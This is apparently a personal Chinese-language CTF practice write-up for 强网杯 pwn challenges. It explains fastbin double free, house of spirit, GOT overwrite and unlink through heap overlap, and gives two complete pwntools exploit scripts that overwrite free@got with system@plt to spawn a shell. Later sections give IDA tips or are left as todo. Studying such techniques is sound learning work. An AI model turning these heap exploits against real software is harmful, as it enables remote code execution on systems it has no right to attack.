强网杯 | 补题
silent
fastbin是后进先出, 像栈一样, 相当于fastbin是栈顶指针, 指向最后来的块, 最先来的块(栈底)有fd = NULL
fastbin 最简单的利用, list栈顶的chunk被malloc出去的时候, 他的fd
就被作为fastbin的指向, 这样的话, 下次malloc的时候, 就能实现任意地址写…要做的就是在栈顶这一块malloc出去之前通过溢出改写他的fd
指针就是问题的关键…一般是通过他前一块(更低地址)的块来覆写
第二种就是house of spirit…, 就是通过覆写free(p)
这里的p
指针的指向为我们的fake_chunk, 条件当然一般是溢出的时候能覆盖一个一会儿要free掉的指针, 还要能伪造堆块, 就可在下次malloc的把我们伪造的块给malloc
出来, 实现任意地址写…
当然我们实现修改fd
和修改free
的参数时候不只可以溢出修改, 能改就行…比如像下面说的double free.
fastbin在double free的时候只要不是连续两次free同一个指针就不会被检查出来…(其实就是在插入fastbin的时候, 查看当前fastbinY的值和当前要插入chunk的值是不是相等), 所以可以在中间插入一个p1的free, free(p0) -> free(p1) -> free(p0)
, 然后再malloc() -> malloc() -> malloc()
, 就能在这操作之后(p0第一次malloc的时候写入假的fd, 第二次malloc的时候就可以使得fastbin list指向一个假的地址), 我们就能再次分配把fake的chunk给分配出来, 这个时候我们如果把fake的地址在got表, 那么就能够改写got表
思考UAF一般要做的是什么, 可以泄露地址. 还可以?
payload基本是参考大佬的…但为什么要把free.got
改写成system.plt
呢…为什么不是system.got
…? 然而好像都是这么改的…为啥呢…
mdzz, free.plt
里的jmp <free@got>
, 会跳到free.got
里存的那个地址, 然后执行那个地址对应的代码
如果在这个free.got
里存入system.got
, 那么就会把system.got
当做代码执行, 然而got表是存储的地址, plt表才是代码(jmp xxx
)
如果在这个free.got
里存入system.plt
, 那么就会执行jmp <system.got>
, 从而调用system…(不管以前是不是调用过system, 都可以)
from pwn import *
from time import sleep
local = 1
if local == 0:
r = remote('39.107.32.132', 10000)
else:
r = process('./silent')
elf = ELF("./silent")
def gd():
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(r)
def add(size, con):
sleep(0.1)
r.sendline('1')
r.sendline(str(size))
r.sendline(con)
def free(idx):
sleep(0.1)
r.sendline('2')
r.sendline(str(idx))
def edit(idx, con, con_new):
sleep(0.1)
r.sendline('2')
r.sendline(str(idx))
r.sendline(con)
r.sendline(con_new)
sys_plt = elf.plt['system']
free_plt = elf.got['free']
fake_chunk = 0x601ffa
add(0x50, 'a')
add(0x50, 'b')
free(0)
free(1)
free(0)
add(0x50, p64(fake_chunk))
add(0x50, 'c')
add(0x50, 'd')
payload = 'sh' + '\0' * 12 + p64(sys_plt)
add(0x50, payload)
# 0x60200a + 0x10 + sh = 0x602018
free(5) # system(sh)
r.interactive()
silent 2
和1的区别在于限制了申请的堆块的大小, 不能使用fastbin了, 要使用double free来…unlink一个bin, 是不是像0ctf-2015, freenote一样
看大佬的wp有一个词叫heap overlap
(https://ctf-wiki.github.io/ctf-wiki/pwn/heap/chunk_extend_shrink/
)
这个overlap
, 大概是说, 举个例子
// 32位下
p0 = malloc(504);
p1 = malloc(512);
free(p0);
free(p1);
p0 = malloc(1024);
// 这个时候就把原来两块的内容放缩成一块了
// 1024 = 504 + 8 + 512
// +-----------+
// | prev_size |
// +-----------+
// |size=0x408 |
// +-----------+----+
// |fake_prev | +
// |fake_size | +
// |fake_fd | 0x200
// |fake_bk | +
// |padding | +
// +-----------+----+
// |fake_prev |
// |fake_size--+>0x208
// |padding |
// +-----------+
edit(p0);
// 这个时候伪造堆块, 伪造成两块, 一会儿unlink
free(p1);
// 然后这个时候再free(p1), 就是两次free(p1)了...这个时候会触发unlink
from pwn import *
from time import sleep
local = 1
if local == 0:
r = remote('39.107.32.132', 10000)
else:
r = process('./silent2')
elf = ELF("./silent2")
def gd():
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(r)
def add(size, con):
sleep(0.1)
r.sendline('1')
r.sendline(str(size))
r.sendline(con)
def free(idx):
sleep(0.1)
r.sendline('2')
r.sendline(str(idx))
def edit(idx, con, con_):
sleep(0.1)
r.sendline('3')
r.sendline(str(idx))
r.sendline(con)
r.sendline(con_)
system_plt = elf.plt['system']
free_got = elf.got['free']
add(0x90, 'a') #0
add(0x90, 'a') #1
add(0x90, 'a') #2
add(0x90, 'a') #3
add(0xa0, 'a') #4
add(0x90, '/bin/sh\x00') #4
############################## 这一部分对应着上面说的放缩的过程
ptr = 0x6020d8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
free(3)
free(4)
payload = p64(0) + p64(0) # fake_prev + fake_size
payload += p64(fake_fd) + p64(fake_bk) # fake_fd + fake_bk
payload += 'A' * (0x90 - 4 * 0x8) # padding
payload += p64(0x90) + p64(0xb0) # fake_chunk4_prev + fake_chun4_size
add(0xa0 * 2, payload)
free(4)
############################## 至此, unlink结束...
# 此时 ptr = fake_fd = 0x6020d8 - 0x18 = 0x6020c0 = chunk[0]
# 就可以下次通过edit(3), 来更改chunk[0]的指向
# 这一步使得chunk[0]指向free.got
edit(3, p64(free_got), '')
# 使得free.got的内容为system.plt
edit(0, p64(system_plt), '')
free(5)
r.interactive()
因为unlink的时候是要p -> fd -> bk = p -> bk -> fd
, 也就是要(p -> fd) + 0x18 = (p -> bk + 0x10) = ptr
, 这个ptr里存着的是指向p的指针, 我们的0x6020c0
, 是一个存着每个指针的数组, 我们的chunk_3是存在(0x6020c0)[3] = (0x6020c0 + 3 * 0x8) = 0x6020d8
的位置…, 所以这里是fake_fd = 0x6020d8 - 0x18
, fake_bk = 0x6020d8 - 0x10
因为fake的ptr需要, 所以要有chunk[0..2], 实际上1, 2没用上, 就是占位, 使得3因为4而被unlink的时候, 可以更改到chunk[0]的内容
raisepig
遇到的第一个问题就是, 函数sub_1160
没法f5, 倒是一行一行看汇编也能看懂…但感觉很不爽…
会报错positive sp value has been found
很久之前看到过解决办法, 实践一下
先勾一下这个, 显示栈指针
Options -> Disassembly -> Stack pointer
然后在retn处的偏移不是0, 我在这题里看到的是-04
.text:00000000000011F2 014 leave
.text:00000000000011F3 -04 retn
.text:00000000000011F3 sub_1160 endp ; sp-analysis failed
在leave这里, alt+k
, 在弹出来的菜单里把偏移量改成这里的0x14
, (我这里原来是0x18)… 然后, 就会变成下图retn
前的数字变成了000
, 这个时候再F5
就OK
.text:00000000000011F2 014 leave
.text:00000000000011F3 000 retn
.text:00000000000011F3 sub_1160 endp ; sp-analysis failed
QAQ, 我也不知道为啥可以, 就是这样操作了一下…
然后看了一下…这函数好像啥都没干, 怎么open
了/dev/urandom
, 都没read, 就close了….一脸茫然
对, 还有函数跳转表这里, 要把十六进制先变成十进制, 才能转换成负数
接下来分析题目
哎, 我擦, 算了, 先睡觉
opm
todo
gamebox
todo